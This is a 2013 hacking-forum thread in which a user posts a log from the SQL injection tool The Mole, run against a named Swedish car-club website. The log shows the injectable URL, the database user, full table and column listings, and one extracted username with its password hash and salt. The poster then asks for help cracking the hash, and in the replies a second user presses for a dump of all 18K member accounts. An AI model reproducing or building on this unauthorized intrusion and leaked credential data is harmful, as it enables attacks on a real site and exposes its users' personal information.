+- Sinisterly (https://sinister.ly)
+-- Forum: Hacking (https://sinister.ly/Forum-Hacking)
+--- Forum: Website & Server Hacking (https://sinister.ly/Forum-Website-Server-Hacking)
+--- Thread: The Mole - bmwklubben.se (/Thread-The-Mole-bmwklubben-se)
Pages:
1
2
The Mole - bmwklubben.se - SQLi - 05-28-2013
I found a security breach in http://www.bmwklubben.se/ . appearently a swedish website about cars. The bmw_users holds personal information about 18K+ users. Here's my Mole log:
Code:
#> url http://bmwklubben.se/view.php?id=63&p=page:get&page=88737 page
#> needle Klubbens
#> dbinfo
[i] Trying injection using 0 parenthesis.
[+] Found separator: " "
[+] Found DBMS: Mysql
[+] Found comment delimiter: "#"
[+] Query columns count: 28
[+] Injectable fields found: [1, 16, 17, 24]
[+] Found injectable field: 1
[+] Using string union technique.
[+] User: bmwklubben@gelbmw.webway.se
[+] Version: 5.1.61-log
[+] Database: bmwklubben
#> schemas
+------------+
| Databases |
+------------+
| bmwklubben |
+------------+
#> tables bmwklubben
[+] Rows: 82
+--------------------------+
| Tables |
+--------------------------+
| bmw_acl_groups |
| bmw_acl_options |
| bmw_acl_roles |
| bmw_acl_roles_data |
| bmw_acl_users |
| bmw_advertisment |
| bmw_advertisment_clicks |
| bmw_attachments |
| bmw_banlist |
| bmw_bbcodes |
| bmw_bookmarks |
| bmw_bots |
| bmw_bumsen |
| bmw_config |
| bmw_confirm |
| bmw_disallow |
| bmw_drafts |
| bmw_extension_groups |
| bmw_extensions |
| bmw_forums |
| bmw_forums_access |
| bmw_forums_track |
| bmw_forums_watch |
| bmw_gallery_albums |
| bmw_gallery_images |
| bmw_gps_files |
| bmw_gps_routes |
| bmw_groups |
| bmw_icons |
| bmw_lang |
| bmw_log |
| bmw_moderator_cache |
| bmw_modules |
| bmw_poll_options |
| bmw_poll_votes |
| bmw_posts |
| bmw_privmsgs |
| bmw_privmsgs_folder |
| bmw_privmsgs_rules |
| bmw_privmsgs_to |
| bmw_profile_fields |
| bmw_profile_fields_data |
| bmw_profile_fields_lang |
| bmw_profile_lang |
| bmw_questions |
| bmw_ranks |
| bmw_reports |
| bmw_reports_reasons |
| bmw_search_results |
| bmw_search_wordlist |
| bmw_search_wordmatch |
| bmw_sessions |
| bmw_sessions_keys |
| bmw_sitelist |
| bmw_smilies |
| bmw_styles |
| bmw_styles_imageset |
| bmw_styles_imageset_data |
| bmw_styles_template |
| bmw_styles_template_data |
| bmw_styles_theme |
| bmw_topics |
| bmw_topics_posted |
| bmw_topics_track |
| bmw_topics_watch |
| bmw_user_group |
| bmw_users |
| bmw_users_fee |
| bmw_warnings |
| bmw_words |
| bmw_zebra |
| bmw_zipcodes |
| boka_applied |
| boka_config |
| boka_events |
| boka_log |
| boka_pages |
| boka_tracks |
| boka_users |
| boka_visits |
| tabasco_pages |
| unika |
+--------------------------+
#> columns bmwklubben bmw_users
[+] Rows: 100
+-----------------------------+
| Columns for table bmw_users |
+-----------------------------+
| group_id |
| supports_id |
| user_BCEnr |
| user_actkey |
| user_address |
| user_address_alt |
| user_aim |
| user_allow_massemail |
| user_allow_pm |
| user_allow_viewemail |
| user_allow_viewonline |
| user_avatar |
| user_avatar_height |
| user_avatar_type |
| user_avatar_width |
| user_bike |
| user_bike_2 |
| user_bike_3 |
| user_birthday |
| user_bro |
| user_bumsen |
| user_colour |
| user_country |
| user_dateformat |
| user_district |
| user_dst |
| user_email |
| user_email_hash |
| user_emailtime |
| user_firstname |
| user_foreign_zipaddres |
| user_foreign_zipcode |
| user_form_salt |
| user_from |
| user_full_folder |
| user_icq |
| user_id |
| user_inactive_reason |
| user_inactive_time |
| user_interests |
| user_ip |
| user_jabber |
| user_lang |
| user_last_confirm_key |
| user_last_privmsg |
| user_last_search |
| user_last_warning |
| user_lastmark |
| user_lastpage |
| user_lastpost_time |
| user_lastvisit |
| user_login_attempts |
| user_message_rules |
| user_msnm |
| user_new_privmsg |
| user_newpasswd |
| user_notify |
| user_notify_pm |
| user_notify_type |
| user_occ |
| user_options |
| user_pass_convert |
| user_passchg |
| user_password |
| user_pay_date |
| user_pay_sum |
| user_perm_from |
| user_permissions |
| user_post_show_days |
| user_post_sortby_dir |
| user_post_sortby_type |
| user_posts |
| user_posts_per_page |
| user_rank |
| user_regdate |
| user_req_email |
| user_req_pmail |
| user_sex |
| user_sig |
| user_sig_bbcode_bitfield |
| user_sig_bbcode_uid |
| user_style |
| user_surname |
| user_tel_cell |
| user_tel_home |
| user_tel_work |
| user_timezone |
| user_topic_show_days |
| user_topic_sortby_dir |
| user_topic_sortby_type |
| user_type |
| user_unread_privmsg |
| user_unreadposts |
| user_warnings |
| user_website |
| user_yim |
| user_zip |
| user_zipaddress |
| username |
| username_clean |
+-----------------------------+
#> query bmwklubben bmw_users username,user_password limit 1 offset 1
[+] Rows: 2
+-----------------------------------------------------+
| username | user_password |
+-----------------------------------------------------+
| Peter Eriksson | $H$9BNLA0.TKyqu6I6ezHOSCEKx8.Nyo/. |
+-----------------------------------------------------+I've been trying to crack the password that I picked up, without success.
Code:
Hash > $H$9BNLA0.TKyqu6I6ezHOSCEKx8.Nyo/.
Salt > 7283d42e3d382557
Type > MD5(phpBB3)
Info > http://wiki.insidepro.com/index.php/MD5%28phpBB3%29RE: The Mole - bmwklubben.se - i0xIllusi0n - 05-28-2013
Why not link us to the 18k users?
RE: The Mole - bmwklubben.se - SQLi - 05-28-2013
(05-28-2013, 10:33 PM)i0xIllusi0n Wrote: Why not link us to the 18k users?
Because it takes a lot of time getting all 18K users. I'm just sharing the vulnerability information.
RE: The Mole - bmwklubben.se - i0xIllusi0n - 05-28-2013
(05-28-2013, 10:35 PM)SQLi Wrote: Because it takes a lot of time getting all 18K users. I'm just sharing the vulnerability information.
Do you mean cracking all the passwords or having SQLmap actually get them all?
RE: The Mole - bmwklubben.se - SQLi - 05-28-2013
(05-28-2013, 10:38 PM)i0xIllusi0n Wrote: Do you mean cracking all the passwords or having SQLmap actually get them all?
Getting them all with The Mole.
RE: The Mole - bmwklubben.se - i0xIllusi0n - 05-28-2013
(05-28-2013, 10:45 PM)SQLi Wrote: Getting them all with The Mole.
Ahh, yeah. I understand now. When it gets it all be sure to link us!
RE: The Mole - bmwklubben.se - SQLi - 05-28-2013
(05-28-2013, 10:56 PM)i0xIllusi0n Wrote: Ahh, yeah. I understand now. When it gets it all be sure to link us!
I'm not going to do it. Even if I leave my PC on for a day or two to get it, the command prompt will probably not fit all the text and it'll be completely useless.
RE: The Mole - bmwklubben.se - i0xIllusi0n - 05-28-2013
(05-28-2013, 11:00 PM)SQLi Wrote: I'm not going to do it. Even if I leave my PC on for a day or two to get it, the command prompt will probably not fit all the text and it'll be completely useless.
It doesn't need to. Well, I don't know how Mole works, but with SQLMap it writes it to a text file.
RE: The Mole - bmwklubben.se - SQLi - 05-28-2013
(05-28-2013, 11:04 PM)i0xIllusi0n Wrote: It doesn't need to. Well, I don't know how Mole works, but with SQLMap it writes it to a text file.
I'm not used to working with SQLMap. Maybe you could do it yourself if you want the accounts so bad.
RE: The Mole - bmwklubben.se - i0xIllusi0n - 05-28-2013
(05-28-2013, 11:26 PM)SQLi Wrote: I'm not used to working with SQLMap. Maybe you could do it yourself if you want the accounts so bad.
I don't want the accounts, they're worthless to me. I was just suggesting to you that SQLMap could. Usually when people post their leaks here it includes the greater mass of accounts.